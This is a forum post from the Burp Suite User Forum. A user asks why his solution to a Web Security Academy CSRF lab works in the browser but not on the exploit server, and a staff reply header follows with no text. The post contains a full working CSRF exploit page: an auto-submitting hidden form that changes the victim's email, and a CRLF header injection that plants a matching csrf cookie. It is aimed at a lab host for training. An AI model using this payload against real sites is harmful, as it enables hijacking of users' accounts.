Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

CSRF where token is duplicated in cookie

youssef | Last updated: Feb 05, 2023 11:15AM UTC

Trying to solve this lab and the lab before it my code works in the browser but not in the exploit server: ```<html> <body> <h1>Hey</h1> <iframe style="display:none" name="csrf-iframe"></iframe> <form action="https://0aef009004ce06c1c1fd498d008f007f.web-security-academy.net/my-account/change-email" method="post" target="csrf-iframe"> <input type="hidden" name="email" value="malicious@gmail.com"> <input type="hidden" name="csrf" value="yLt3en1GolKb0Zyl95pNkCd10KGYES3D"> </form> <img src="https://0aef009004ce06c1c1fd498d008f007f.web-security-academy.net/?search=test%0d%0aSet-Cookie: %20csrf=yLt3en1GolKb0Zyl95pNkCd10KGYES3D"> <!-- http header injection --> <script>document.forms[0].submit();</script> </body> </html> ```

Ben, PortSwigger Agent | Last updated: Feb 07, 2023 07:45AM UTC